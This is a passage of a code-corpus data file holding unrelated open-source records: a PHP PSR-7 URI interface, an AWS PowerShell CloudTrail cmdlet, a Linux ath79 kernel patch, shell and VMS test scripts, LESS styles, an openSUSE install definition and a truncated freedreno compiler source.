getScheme();\n\n /**\n * Retrieve the authority component of the URI.\n *\n * If no authority information is present, this method MUST return an empty\n * string.\n *\n * The authority syntax of the URI is:\n *\n * <pre>\n * [user-info@]host[:port]\n * </pre>\n *\n * If the port component is not set or is the standard port for the current\n * scheme, it SHOULD NOT be included.\n *\n * @see https://tools.ietf.org/html/rfc3986#section-3.2\n * @return string The URI authority, in \"[user-info@]host[:port]\" format.\n */\n public function getAuthority();\n\n /**\n * Retrieve the user information component of the URI.\n *\n * If no user information is present, this method MUST return an empty\n * string.\n *\n * If a user is present in the URI, this will return that value;\n * additionally, if the password is also present, it will be appended to the\n * user value, with a colon (\":\") separating the values.\n *\n * The trailing \"@\" character is not part of the user information and MUST\n * NOT be added.\n *\n * @return string The URI user information, in \"username[:password]\" format.\n */\n public function getUserInfo();\n\n /**\n * Retrieve the host component of the URI.\n *\n * If no host is present, this method MUST return an empty string.\n *\n * The value returned MUST be normalized to lowercase, per RFC 3986\n * Section 3.2.2.\n *\n * @see http://tools.ietf.org/html/rfc3986#section-3.2.2\n * @return string The URI host.\n */\n public function getHost();\n\n /**\n * Retrieve the port component of the URI.\n *\n * If a port is present, and it is non-standard for the current scheme,\n * this method MUST return it as an integer. If the port is the standard port\n * used with the current scheme, this method SHOULD return null.\n *\n * If no port is present, and no scheme is present, this method MUST return\n * a null value.\n *\n * If no port is present, but a scheme is present, this method MAY return\n * the standard port for that scheme, but SHOULD return null.\n *\n * @return null|int The URI port.\n */\n public function getPort();\n\n /**\n * Retrieve the path component of the URI.\n *\n * The path can either be empty or absolute (starting with a slash) or\n * rootless (not starting with a slash). Implementations MUST support all\n * three syntaxes.\n *\n * Normally, the empty path \"\" and absolute path \"/\" are considered equal as\n * defined in RFC 7230 Section 2.7.3. But this method MUST NOT automatically\n * do this normalization because in contexts with a trimmed base path, e.g.\n * the front controller, this difference becomes significant. It's the task\n * of the user to handle both \"\" and \"/\".\n *\n * The value returned MUST be percent-encoded, but MUST NOT double-encode\n * any characters. To determine what characters to encode, please refer to\n * RFC 3986, Sections 2 and 3.3.\n *\n * As an example, if the value should include a slash (\"/\") not intended as\n * delimiter between path segments, that value MUST be passed in encoded\n * form (e.g., \"%2F\") to the instance.\n *\n * @see https://tools.ietf.org/html/rfc3986#section-2\n * @see https://tools.ietf.org/html/rfc3986#section-3.3\n * @return string The URI path.\n */\n public function getPath();\n\n /**\n * Retrieve the query string of the URI.\n *\n * If no query string is present, this method MUST return an empty string.\n *\n * The leading \"?\" character is not part of the query and MUST NOT be\n * added.\n *\n * The value returned MUST be percent-encoded, but MUST NOT double-encode\n * any characters. To determine what characters to encode, please refer to\n * RFC 3986, Sections 2 and 3.4.\n *\n * As an example, if a value in a key/value pair of the query string should\n * include an ampersand (\"&\") not intended as a delimiter between values,\n * that value MUST be passed in encoded form (e.g., \"%26\") to the instance.\n *\n * @see https://tools.ietf.org/html/rfc3986#section-2\n * @see https://tools.ietf.org/html/rfc3986#section-3.4\n * @return string The URI query string.\n */\n public function getQuery();\n\n /**\n * Retrieve the fragment component of the URI.\n *\n * If no fragment is present, this method MUST return an empty string.\n *\n * The leading \"#\" character is not part of the fragment and MUST NOT be\n * added.\n *\n * The value returned MUST be percent-encoded, but MUST NOT double-encode\n * any characters. To determine what characters to encode, please refer to\n * RFC 3986, Sections 2 and 3.5.\n *\n * @see https://tools.ietf.org/html/rfc3986#section-2\n * @see https://tools.ietf.org/html/rfc3986#section-3.5\n * @return string The URI fragment.\n */\n public function getFragment();\n\n /**\n * Return an instance with the specified scheme.\n *\n * This method MUST retain the state of the current instance, and return\n * an instance that contains the specified scheme.\n *\n * Implementations MUST support the schemes \"http\" and \"https\" case\n * insensitively, and MAY accommodate other schemes if required.\n *\n * An empty scheme is equivalent to removing the scheme.\n *\n * @param string $scheme The scheme to use with the new instance.\n * @return static A new instance with the specified scheme.\n * @throws \\InvalidArgumentException for invalid or unsupported schemes.\n */\n public function withScheme($scheme);\n\n /**\n * Return an instance with the specified user information.\n *\n * This method MUST retain the state of the current instance, and return\n * an instance that contains the specified user information.\n *\n * Password is optional, but the user information MUST include the\n * user; an empty string for the user is equivalent to removing user\n * information.\n *\n * @param string $user The user name to use for authority.\n * @param null|string $password The password associated with $user.\n * @return static A new instance with the specified user information.\n */\n public function withUserInfo($user, $password = null);\n\n /**\n * Return an instance with the specified host.\n *\n * This method MUST retain the state of the current instance, and return\n * an instance that contains the specified host.\n *\n * An empty host value is equivalent to removing the host.\n *\n * @param string $host The hostname to use with the new instance.\n * @return static A new instance with the specified host.\n * @throws \\InvalidArgumentException for invalid hostnames.\n */\n public function withHost($host);\n\n /**\n * Return an instance with the specified port.\n *\n * This method MUST retain the state of the current instance, and return\n * an instance that contains the specified port.\n *\n * Implementations MUST raise an exception for ports outside the\n * established TCP and UDP port ranges.\n *\n * A null value provided for the port is equivalent to removing the port\n * information.\n *\n * @param null|int $port The port to use with the new instance; a null value\n * removes the port information.\n * @return static A new instance with the specified port.\n * @throws \\InvalidArgumentException for invalid ports.\n */\n public function withPort($port);\n\n /**\n * Return an instance with the specified path.\n *\n * This method MUST retain the state of the current instance, and return\n * an instance that contains the specified path.\n *\n * The path can either be empty or absolute (starting with a slash) or\n * rootless (not starting with a slash). Implementations MUST support all\n * three syntaxes.\n *\n * If the path is intended to be domain-relative rather than path relative then\n * it must begin with a slash (\"/\"). Paths not starting with a slash (\"/\")\n * are assumed to be relative to some base path known to the application or\n * consumer.\n *\n * Users can provide both encoded and decoded path characters.\n * Implementations ensure the correct encoding as outlined in getPath().\n *\n * @param string $path The path to use with the new instance.\n * @return static A new instance with the specified path.\n * @throws \\InvalidArgumentException for invalid paths.\n */\n public function withPath($path);\n\n /**\n * Return an instance with the specified query string.\n *\n * This method MUST retain the state of the current instance, and return\n * an instance that contains the specified query string.\n *\n * Users can provide both encoded and decoded query characters.\n * Implementations ensure the correct encoding as outlined in getQuery().\n *\n * An empty query string value is equivalent to removing the query string.\n *\n * @param string $query The query string to use with the new instance.\n * @return static A new instance with the specified query string.\n * @throws \\InvalidArgumentException for invalid query strings.\n */\n public function withQuery($query);\n\n /**\n * Return an instance with the specified URI fragment.\n *\n * This method MUST retain the state of the current instance, and return\n * an instance that contains the specified URI fragment.\n *\n * Users can provide both encoded and decoded fragment characters.\n * Implementations ensure the correct encoding as outlined in getFragment().\n *\n * An empty fragment value is equivalent to removing the fragment.\n *\n * @param string $fragment The fragment to use with the new instance.\n * @return static A new instance with the specified fragment.\n */\n public function withFragment($fragment);\n\n /**\n * Return the string representation as a URI reference.\n *\n * Depending on which components of the URI are present, the resulting\n * string is either a full URI or relative reference according to RFC 3986,\n * Section 4.1. The method concatenates the various components of the URI,\n * using the appropriate delimiters:\n *\n * - If a scheme is present, it MUST be suffixed by \":\".\n * - If an authority is present, it MUST be prefixed by \"//\".\n * - The path can be concatenated without delimiters. But there are two\n * cases where the path has to be adjusted to make the URI reference\n * valid as PHP does not allow to throw an exception in __toString():\n * - If the path is rootless and an authority is present, the path MUST\n * be prefixed by \"/\".\n * - If the path is starting with more than one \"/\" and no authority is\n * present, the starting slashes MUST be reduced to one.\n * - If a query is present, it MUST be prefixed by \"?\".\n * - If a fragment is present, it MUST be prefixed by \"#\".\n *\n * @see http://tools.ietf.org/html/rfc3986#section-4.1\n * @return string\n */\n public function __toString();\n}\n"} {"text": "/*******************************************************************************\n * Copyright 2012-2019 Amazon.com, Inc. or its affiliates. All Rights Reserved.\n * Licensed under the Apache License, Version 2.0 (the \"License\"). You may not use\n * this file except in compliance with the License. A copy of the License is located at\n *\n * http://aws.amazon.com/apache2.0\n *\n * or in the \"license\" file accompanying this file.\n * This file is distributed on an \"AS IS\" BASIS, WITHOUT WARRANTIES OR\n * CONDITIONS OF ANY KIND, either express or implied. See the License for the\n * specific language governing permissions and limitations under the License.\n * *****************************************************************************\n *\n * AWS Tools for Windows (TM) PowerShell (TM)\n *\n */\n\nusing System;\nusing System.Collections.Generic;\nusing System.Linq;\nusing System.Management.Automation;\nusing System.Text;\nusing Amazon.PowerShell.Common;\nusing Amazon.Runtime;\nusing Amazon.CloudTrail;\nusing Amazon.CloudTrail.Model;\n\nnamespace Amazon.PowerShell.Cmdlets.CT\n{\n /// <summary>\n /// Suspends the recording of AWS API calls and log file delivery for the specified trail.\n /// Under most circumstances, there is no need to use this action. You can update a trail\n /// without stopping it first. This action is the only way to stop recording. For a trail\n /// enabled in all regions, this operation must be called from the region in which the\n /// trail was created, or an <code>InvalidHomeRegionException</code> will occur. This\n /// operation cannot be called on the shadow trails (replicated trails in other regions)\n /// of a trail enabled in all regions.\n /// </summary>\n [Cmdlet(\"Stop\", \"CTLogging\", SupportsShouldProcess = true, ConfirmImpact = ConfirmImpact.Medium)]\n [OutputType(\"None\")]\n [AWSCmdlet(\"Calls the AWS CloudTrail StopLogging API operation.\", Operation = new[] {\"StopLogging\"}, SelectReturnType = typeof(Amazon.CloudTrail.Model.StopLoggingResponse))]\n [AWSCmdletOutput(\"None or Amazon.CloudTrail.Model.StopLoggingResponse\",\n \"This cmdlet does not generate any output.\" +\n \"The service response (type Amazon.CloudTrail.Model.StopLoggingResponse) can be referenced from properties attached to the cmdlet entry in the $AWSHistory stack.\"\n )]\n public partial class StopCTLoggingCmdlet : AmazonCloudTrailClientCmdlet, IExecutor\n {\n \n #region Parameter Name\n /// <summary>\n /// <para>\n /// <para>Specifies the name or the CloudTrail ARN of the trail for which CloudTrail will stop\n /// logging AWS API calls. The format of a trail ARN is:</para><para><code>arn:aws:cloudtrail:us-east-2:123456789012:trail/MyTrail</code></para>\n /// </para>\n /// </summary>\n #if !MODULAR\n [System.Management.Automation.Parameter(Position = 0, ValueFromPipelineByPropertyName = true, ValueFromPipeline = true)]\n #else\n [System.Management.Automation.Parameter(Position = 0, ValueFromPipelineByPropertyName = true, ValueFromPipeline = true, Mandatory = true)]\n [System.Management.Automation.AllowEmptyString]\n [System.Management.Automation.AllowNull]\n #endif\n [Amazon.PowerShell.Common.AWSRequiredParameter]\n public System.String Name { get; set; }\n #endregion\n \n #region Parameter Select\n /// <summary>\n /// Use the -Select parameter to control the cmdlet output. The cmdlet doesn't have a return value by default.\n /// Specifying -Select '*' will result in the cmdlet returning the whole service response (Amazon.CloudTrail.Model.StopLoggingResponse).\n /// Specifying -Select '^ParameterName' will result in the cmdlet returning the selected cmdlet parameter value.\n /// </summary>\n [System.Management.Automation.Parameter(ValueFromPipelineByPropertyName = true)]\n public string Select { get; set; } = \"*\";\n #endregion\n \n #region Parameter PassThru\n /// <summary>\n /// Changes the cmdlet behavior to return the value passed to the Name parameter.\n /// The -PassThru parameter is deprecated, use -Select '^Name' instead. This parameter will be removed in a future version.\n /// </summary>\n [System.Obsolete(\"The -PassThru parameter is deprecated, use -Select '^Name' instead. This parameter will be removed in a future version.\")]\n [System.Management.Automation.Parameter(ValueFromPipelineByPropertyName = true)]\n public SwitchParameter PassThru { get; set; }\n #endregion\n \n #region Parameter Force\n /// <summary>\n /// This parameter overrides confirmation prompts to force \n /// the cmdlet to continue its operation. This parameter should always\n /// be used with caution.\n /// </summary>\n [System.Management.Automation.Parameter(ValueFromPipelineByPropertyName = true)]\n public SwitchParameter Force { get; set; }\n #endregion\n \n protected override void ProcessRecord()\n {\n base.ProcessRecord();\n \n var resourceIdentifiersText = FormatParameterValuesForConfirmationMsg(nameof(this.Name), MyInvocation.BoundParameters);\n if (!ConfirmShouldProceed(this.Force.IsPresent, resourceIdentifiersText, \"Stop-CTLogging (StopLogging)\"))\n {\n return;\n }\n \n var context = new CmdletContext();\n \n // allow for manipulation of parameters prior to loading into context\n PreExecutionContextLoad(context);\n \n #pragma warning disable CS0618, CS0612 //A class member was marked with the Obsolete attribute\n if (ParameterWasBound(nameof(this.Select)))\n {\n context.Select = CreateSelectDelegate<Amazon.CloudTrail.Model.StopLoggingResponse, StopCTLoggingCmdlet>(Select) ??\n throw new System.ArgumentException(\"Invalid value for -Select parameter.\", nameof(this.Select));\n if (this.PassThru.IsPresent)\n {\n throw new System.ArgumentException(\"-PassThru cannot be used when -Select is specified.\", nameof(this.Select));\n }\n }\n else if (this.PassThru.IsPresent)\n {\n context.Select = (response, cmdlet) => this.Name;\n }\n #pragma warning restore CS0618, CS0612 //A class member was marked with the Obsolete attribute\n context.Name = this.Name;\n #if MODULAR\n if (this.Name == null && ParameterWasBound(nameof(this.Name)))\n {\n WriteWarning(\"You are passing $null as a value for parameter Name which is marked as required. In case you believe this parameter was incorrectly marked as required, report this by opening an issue at https://github.com/aws/aws-tools-for-powershell/issues.\");\n }\n #endif\n \n // allow further manipulation of loaded context prior to processing\n PostExecutionContextLoad(context);\n \n var output = Execute(context) as CmdletOutput;\n ProcessOutput(output);\n }\n \n #region IExecutor Members\n \n public object Execute(ExecutorContext context)\n {\n var cmdletContext = context as CmdletContext;\n // create request\n var request = new Amazon.CloudTrail.Model.StopLoggingRequest();\n \n if (cmdletContext.Name != null)\n {\n request.Name = cmdletContext.Name;\n }\n \n CmdletOutput output;\n \n // issue call\n var client = Client ?? CreateClient(_CurrentCredentials, _RegionEndpoint);\n try\n {\n var response = CallAWSServiceOperation(client, request);\n object pipelineOutput = null;\n pipelineOutput = cmdletContext.Select(response, this);\n output = new CmdletOutput\n {\n PipelineOutput = pipelineOutput,\n ServiceResponse = response\n };\n }\n catch (Exception e)\n {\n output = new CmdletOutput { ErrorResponse = e };\n }\n \n return output;\n }\n \n public ExecutorContext CreateContext()\n {\n return new CmdletContext();\n }\n \n #endregion\n \n #region AWS Service Operation Call\n \n private Amazon.CloudTrail.Model.StopLoggingResponse CallAWSServiceOperation(IAmazonCloudTrail client, Amazon.CloudTrail.Model.StopLoggingRequest request)\n {\n Utils.Common.WriteVerboseEndpointMessage(this, client.Config, \"AWS CloudTrail\", \"StopLogging\");\n try\n {\n #if DESKTOP\n return client.StopLogging(request);\n #elif CORECLR\n return client.StopLoggingAsync(request).GetAwaiter().GetResult();\n #else\n #error \"Unknown build edition\"\n #endif\n }\n catch (AmazonServiceException exc)\n {\n var webException = exc.InnerException as System.Net.WebException;\n if (webException != null)\n {\n throw new Exception(Utils.Common.FormatNameResolutionFailureMessage(client.Config, webException.Message), webException);\n }\n throw;\n }\n }\n \n #endregion\n \n internal partial class CmdletContext : ExecutorContext\n {\n public System.String Name { get; set; }\n public System.Func<Amazon.CloudTrail.Model.StopLoggingResponse, StopCTLoggingCmdlet, object> Select { get; set; } =\n (response, cmdlet) => null;\n }\n \n }\n}\n"} {"text": "// Copyright 2015 The Go Authors. All rights reserved.\n// Use of this source code is governed by a BSD-style\n// license that can be found in the LICENSE file.\n\n// +build darwin dragonfly freebsd linux netbsd openbsd solaris\n\npackage unix\n\nconst (\n\tR_OK = 0x4\n\tW_OK = 0x2\n\tX_OK = 0x1\n)\n"} {"text": "--- a/arch/mips/ath79/dev-wmac.c\n+++ b/arch/mips/ath79/dev-wmac.c\n@@ -165,6 +165,137 @@ static void qca955x_wmac_setup(void)\n \t\tath79_wmac_data.is_clk_25mhz = true;\n }\n \n+static bool __init\n+ar93xx_wmac_otp_read_word(void __iomem *base, int addr, u32 *data)\n+{\n+\tint timeout = 1000;\n+\tu32 val;\n+\n+\t__raw_readl(base + AR9300_OTP_BASE + (4 * addr));\n+\twhile (timeout--) {\n+\t\tval = __raw_readl(base + AR9300_OTP_STATUS);\n+\t\tif ((val & AR9300_OTP_STATUS_TYPE) == AR9300_OTP_STATUS_VALID)\n+\t\t\tbreak;\n+\n+\t\tudelay(10);\n+\t}\n+\n+\tif (!timeout)\n+\t\treturn false;\n+\n+\t*data = __raw_readl(base + AR9300_OTP_READ_DATA);\n+\treturn true;\n+}\n+\n+static bool __init\n+ar93xx_wmac_otp_read(void __iomem *base, int addr, u8 *dest, int len)\n+{\n+\tu32 data;\n+\tint i;\n+\n+\tfor (i = 0; i < len; i++) {\n+\t\tint offset = 8 * ((addr - i) % 4);\n+\n+\t\tif (!ar93xx_wmac_otp_read_word(base, (addr - i) / 4, &data))\n+\t\t\treturn false;\n+\n+\t\tdest[i] = (data >> offset) & 0xff;\n+\t}\n+\n+\treturn true;\n+}\n+\n+static bool __init\n+ar93xx_wmac_otp_uncompress(void __iomem *base, int addr, int len, u8 *dest,\n+\t\t\t int dest_start, int dest_len)\n+{\n+\tint dest_bytes = 0;\n+\tint offset = 0;\n+\tint end = addr - len;\n+\tu8 hdr[2];\n+\n+\twhile (addr > end) {\n+\t\tif (!ar93xx_wmac_otp_read(base, addr, hdr, 2))\n+\t\t\treturn false;\n+\n+\t\taddr -= 2;\n+\t\toffset += hdr[0];\n+\n+\t\tif (offset <= dest_start + dest_len &&\n+\t\t offset + len >= dest_start) {\n+\t\t\tint data_offset = 0;\n+\t\t\tint dest_offset = 0;\n+\t\t\tint copy_len;\n+\n+\t\t\tif (offset < dest_start)\n+\t\t\t\tdata_offset = dest_start - offset;\n+\t\t\telse\n+\t\t\t\tdest_offset = offset - dest_start;\n+\n+\t\t\tcopy_len = len - data_offset;\n+\t\t\tif (copy_len > dest_len - dest_offset)\n+\t\t\t\tcopy_len = dest_len - dest_offset;\n+\n+\t\t\tar93xx_wmac_otp_read(base, addr - data_offset,\n+\t\t\t\t\t dest + dest_offset,\n+\t\t\t\t\t copy_len);\n+\n+\t\t\tdest_bytes += copy_len;\n+\t\t}\n+\t\taddr -= hdr[1];\n+\t}\n+\treturn !!dest_bytes;\n+}\n+\n+bool __init ar93xx_wmac_read_mac_address(u8 *dest)\n+{\n+\tvoid __iomem *base;\n+\tbool ret = false;\n+\tint addr = 0x1ff;\n+\tunsigned int len;\n+\tu32 hdr_u32;\n+\tu8 *hdr = (u8 *) &hdr_u32;\n+\tu8 mac[6] = { 0x00, 0x02, 0x03, 0x04, 0x05, 0x06 };\n+\tint mac_start = 2, mac_end = 8;\n+\n+\tBUG_ON(!soc_is_ar933x() && !soc_is_ar934x());\n+\tbase = ioremap_nocache(AR933X_WMAC_BASE, AR933X_WMAC_SIZE);\n+\twhile (addr > sizeof(hdr)) {\n+\t\tif (!ar93xx_wmac_otp_read(base, addr, hdr, sizeof(hdr)))\n+\t\t\tbreak;\n+\n+\t\tif (hdr_u32 == 0 || hdr_u32 == ~0)\n+\t\t\tbreak;\n+\n+\t\tlen = (hdr[1] << 4) | (hdr[2] >> 4);\n+\t\taddr -= 4;\n+\n+\t\tswitch (hdr[0] >> 5) {\n+\t\tcase 0:\n+\t\t\tif (len < mac_end)\n+\t\t\t\tbreak;\n+\n+\t\t\tar93xx_wmac_otp_read(base, addr - mac_start, mac, 6);\n+\t\t\tret = true;\n+\t\t\tbreak;\n+\t\tcase 3:\n+\t\t\tret |= ar93xx_wmac_otp_uncompress(base, addr, len, mac,\n+\t\t\t\t\t\t\t mac_start, 6);\n+\t\t\tbreak;\n+\t\tdefault:\n+\t\t\tbreak;\n+\t\t}\n+\n+\t\taddr -= len + 2;\n+\t}\n+\n+\tiounmap(base);\n+\tif (ret)\n+\t\tmemcpy(dest, mac, 6);\n+\n+\treturn ret;\n+}\n+\n void __init ath79_register_wmac(u8 *cal_data, u8 *mac_addr)\n {\n \tif (soc_is_ar913x())\n--- a/arch/mips/ath79/dev-wmac.h\n+++ b/arch/mips/ath79/dev-wmac.h\n@@ -14,5 +14,6 @@\n \n void ath79_register_wmac(u8 *cal_data, u8 *mac_addr);\n void ath79_register_wmac_simple(void);\n+bool ar93xx_wmac_read_mac_address(u8 *dest);\n \n #endif /* _ATH79_DEV_WMAC_H */\n--- a/arch/mips/include/asm/mach-ath79/ar71xx_regs.h\n+++ b/arch/mips/include/asm/mach-ath79/ar71xx_regs.h\n@@ -113,6 +113,14 @@\n #define QCA955X_EHCI1_BASE\t0x1b400000\n #define QCA955X_EHCI_SIZE\t0x1000\n \n+#define AR9300_OTP_BASE\t\t0x14000\n+#define AR9300_OTP_STATUS\t0x15f18\n+#define AR9300_OTP_STATUS_TYPE\t\t0x7\n+#define AR9300_OTP_STATUS_VALID\t\t0x4\n+#define AR9300_OTP_STATUS_ACCESS_BUSY\t0x2\n+#define AR9300_OTP_STATUS_SM_BUSY\t0x1\n+#define AR9300_OTP_READ_DATA\t0x15f1c\n+\n /*\n * DDR_CTRL block\n */\n"} {"text": "// Copyright 2015 the V8 project authors. All rights reserved.\n// Use of this source code is governed by a BSD-style license that can be\n// found in the LICENSE file.\n\n(b, a, a, d) => a\n"} {"text": "\n# Check for bash\n[ -z \"$BASH_VERSION\" ] && return\n\n####################################################################################################\n\n__gresource() {\n local choices coffset section\n\n if [ ${COMP_CWORD} -gt 2 ]; then\n if [ ${COMP_WORDS[1]} = --section ]; then\n section=${COMP_WORDS[2]}\n coffset=2\n else\n coffset=0\n fi\n else\n coffset=0\n fi\n\n case \"$((${COMP_CWORD}-$coffset))\" in\n 1)\n choices=$'--section \\nhelp \\nsections \\nlist \\ndetails \\nextract '\n ;;\n\n 2)\n case \"${COMP_WORDS[$(($coffset+1))]}\" in\n --section)\n return 0\n ;;\n\n help)\n choices=$'sections\\nlist\\ndetails\\nextract'\n ;;\n\n sections|list|details|extract)\n COMPREPLY=($(compgen -f -- ${COMP_WORDS[${COMP_CWORD}]}))\n return 0\n ;;\n esac\n ;;\n\n 3)\n case \"${COMP_WORDS[$(($coffset+1))]}\" in\n list|details|extract)\n choices=\"$(gresource list ${COMP_WORDS[$(($coffset+2))]} 2> /dev/null | sed -e 's.$. .')\"\n ;;\n esac\n ;;\n esac\n\n local IFS=$'\\n'\n COMPREPLY=($(compgen -W \"${choices}\" -- \"${COMP_WORDS[${COMP_CWORD}]}\"))\n}\n\n####################################################################################################\n\ncomplete -o nospace -F __gresource gresource\n"} {"text": "$! TX509.COM -- Tests x509 certificates\n$\n$\t__arch := VAX\n$\tif f$getsyi(\"cpu\") .ge. 128 then -\n\t __arch = f$edit( f$getsyi( \"ARCH_NAME\"), \"UPCASE\")\n$\tif __arch .eqs. \"\" then __arch := UNK\n$\texe_dir := sys$disk:[-.'__arch'.exe.apps]\n$\n$\tcmd := mcr 'exe_dir'openssl x509\n$\n$\tt := testx509.pem\n$\tif p1 .nes. \"\" then t = p1\n$\n$\twrite sys$output \"testing X509 conversions\"\n$\tif f$search(\"fff.*\") .nes \"\" then delete fff.*;*\n$\tif f$search(\"ff.*\") .nes \"\" then delete ff.*;*\n$\tif f$search(\"f.*\") .nes \"\" then delete f.*;*\n$\tconvert/fdl=sys$input: 't' fff.p\nRECORD\n\tFORMAT STREAM_LF\n$\n$\twrite sys$output \"p -> d\"\n$\t'cmd' -in fff.p -inform p -outform d -out f.d\n$\tif $severity .ne. 1 then exit 3\n$\twrite sys$output \"p -> n\"\n$\t'cmd' -in fff.p -inform p -outform n -out f.n\n$\tif $severity .ne. 1 then exit 3\n$\twrite sys$output \"p -> p\"\n$\t'cmd' -in fff.p -inform p -outform p -out f.p\n$\tif $severity .ne. 1 then exit 3\n$\n$\twrite sys$output \"d -> d\"\n$\t'cmd' -in f.d -inform d -outform d -out ff.d1\n$\tif $severity .ne. 1 then exit 3\n$\twrite sys$output \"n -> d\"\n$\t'cmd' -in f.n -inform n -outform d -out ff.d2\n$\tif $severity .ne. 1 then exit 3\n$\twrite sys$output \"p -> d\"\n$\t'cmd' -in f.p -inform p -outform d -out ff.d3\n$\tif $severity .ne. 1 then exit 3\n$\n$\twrite sys$output \"d -> n\"\n$\t'cmd' -in f.d -inform d -outform n -out ff.n1\n$\tif $severity .ne. 1 then exit 3\n$\twrite sys$output \"n -> n\"\n$\t'cmd' -in f.n -inform n -outform n -out ff.n2\n$\tif $severity .ne. 1 then exit 3\n$\twrite sys$output \"p -> n\"\n$\t'cmd' -in f.p -inform p -outform n -out ff.n3\n$\tif $severity .ne. 1 then exit 3\n$\n$\twrite sys$output \"d -> p\"\n$\t'cmd' -in f.d -inform d -outform p -out ff.p1\n$\tif $severity .ne. 1 then exit 3\n$\twrite sys$output \"n -> p\"\n$\t'cmd' -in f.n -inform n -outform p -out ff.p2\n$\tif $severity .ne. 1 then exit 3\n$\twrite sys$output \"p -> p\"\n$\t'cmd' -in f.p -inform p -outform p -out ff.p3\n$\tif $severity .ne. 1 then exit 3\n$\n$\tbackup/compare fff.p f.p\n$\tif $severity .ne. 1 then exit 3\n$\tbackup/compare fff.p ff.p1\n$\tif $severity .ne. 1 then exit 3\n$\tbackup/compare fff.p ff.p2\n$\tif $severity .ne. 1 then exit 3\n$\tbackup/compare fff.p ff.p3\n$\tif $severity .ne. 1 then exit 3\n$\n$\tbackup/compare f.n ff.n1\n$\tif $severity .ne. 1 then exit 3\n$\tbackup/compare f.n ff.n2\n$\tif $severity .ne. 1 then exit 3\n$\tbackup/compare f.n ff.n3\n$\tif $severity .ne. 1 then exit 3\n$\n$\tbackup/compare f.p ff.p1\n$\tif $severity .ne. 1 then exit 3\n$\tbackup/compare f.p ff.p2\n$\tif $severity .ne. 1 then exit 3\n$\tbackup/compare f.p ff.p3\n$\tif $severity .ne. 1 then exit 3\n$\n$\tdelete f.*;*,ff.*;*,fff.*;*\n"} {"text": "/*\n * Component: Info Box\n * -------------------\n */\n.info-box {\n display: block;\n min-height: 90px;\n background: #fff;\n width: 100%;\n box-shadow: @box-boxshadow;\n .border-radius(2px);\n margin-bottom: 15px;\n small {\n font-size: 14px;\n }\n .progress {\n background: rgba(0, 0, 0, .2);\n margin: 5px -10px 5px -10px;\n height: 2px;\n &,\n & .progress-bar {\n .border-radius(0);\n }\n .progress-bar {\n background: #fff;\n }\n }\n}\n\n.info-box-icon {\n .border-radius(2px; 0; 2px; 0);\n display: block;\n float: left;\n height: 90px;\n width: 90px;\n text-align: center;\n font-size: 45px;\n line-height: 90px;\n background: rgba(0, 0, 0, 0.2);\n > img {\n max-width: 100%;\n }\n}\n\n.info-box-content {\n padding: 5px 10px;\n margin-left: 90px;\n}\n\n.info-box-number {\n display: block;\n font-weight: bold;\n font-size: 18px;\n}\n\n.progress-description,\n.info-box-text {\n display: block;\n font-size: 14px;\n white-space: nowrap;\n overflow: hidden;\n text-overflow: ellipsis;\n}\n\n.info-box-text {\n text-transform: uppercase;\n}\n\n.info-box-more {\n display: block;\n}\n\n.progress-description {\n margin: 0;\n}\n"} {"text": "---\n:os_type_id: 'OpenSUSE_64'\n:iso_file: \"openSUSE-12.1-NET-x86_64.iso\"\n:iso_src: \"http://download.opensuse.org/distribution/12.1/iso/openSUSE-12.1-NET-x86_64.iso\"\n:iso_md5: \"4b6f9142faadd95a25a7d81ebd656acf\"\n:boot_cmd_sequence:\n - '<Esc><Enter>'\n - 'linux netdevice=eth0 netsetup=dhcp textmode=1'\n - ' install=http://download.opensuse.org/distribution/12.1/repo/oss/ insecure=1'\n - ' lang=en_US autoyast=http://%IP%:%PORT%/autoinst_64_en.xml'\n - '<Enter>'\n:kickstart_file:\n - \"autoinst_64_en.xml\"\n - \"autoinst_64_en.xml\"\n"} {"text": "/* -*- mode: C; c-file-style: \"k&r\"; tab-width 4; indent-tabs-mode: t; -*- */\n\n/*\n * Copyright (C) 2014 Rob Clark <robclark@freedesktop.org>\n *\n * Permission is hereby granted, free of charge, to any person obtaining a\n * copy of this software and associated documentation files (the \"Software\"),\n * to deal in the Software without restriction, including without limitation\n * the rights to use, copy, modify, merge, publish, distribute, sublicense,\n * and/or sell copies of the Software, and to permit persons to whom the\n * Software is furnished to do so, subject to the following conditions:\n *\n * The above copyright notice and this permission notice (including the next\n * paragraph) shall be included in all copies or substantial portions of the\n * Software.\n *\n * THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL\n * THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE\n * SOFTWARE.\n *\n * Authors:\n * Rob Clark <robclark@freedesktop.org>\n */\n\n#include \"freedreno_util.h\"\n\n#include \"ir3.h\"\n\n/*\n * Find/group instruction neighbors:\n */\n\n/* bleh.. we need to do the same group_n() thing for both inputs/outputs\n * (where we have a simple instr[] array), and fanin nodes (where we have\n * an extra indirection via reg->instr).\n */\nstruct group_ops {\n\tstruct ir3_instruction *(*get)(void *arr, int idx);\n\tvoid (*insert_mov)(void *arr, int idx, struct ir3_instruction *instr);\n};\n\nstatic struct ir3_instruction *arr_get(void *arr, int idx)\n{\n\treturn ((struct ir3_instruction **)arr)[idx];\n}\nstatic void arr_insert_mov_out(void *arr, int idx, struct ir3_instruction *instr)\n{\n\t((struct ir3_instruction **)arr)[idx] =\n\t\t\tir3_MOV(instr->block, instr, TYPE_F32);\n}\nstatic void arr_insert_mov_in(void *arr, int idx, struct ir3_instruction *instr)\n{\n\t/* so, we can't insert a mov in front of a meta:in.. and the downstream\n\t * instruction already has a pointer to 'instr'. So we cheat a bit and\n\t * morph the meta:in instruction into a mov and insert a new meta:in\n\t * in front.\n\t */\n\tstruct ir3_instruction *in;\n\n\tdebug_assert(instr->regs_count == 1);\n\n\tin = ir3_instr_create(instr->block, OPC_META_INPUT);\n\tin->inout.block = instr->block;\n\tir3_reg_create(in, instr->regs[0]->num, 0);\n\n\t/* create src reg for meta:in and fixup to now be a mov: */\n\tir3_reg_create(instr, 0, IR3_REG_SSA)->instr = in;\n\tinstr->opc = OPC_MOV;\n\tinstr->cat1.src_type = TYPE_F32;\n\tinstr->cat1.dst_type = TYPE_F32;\n\n\t((struct ir3_instruction 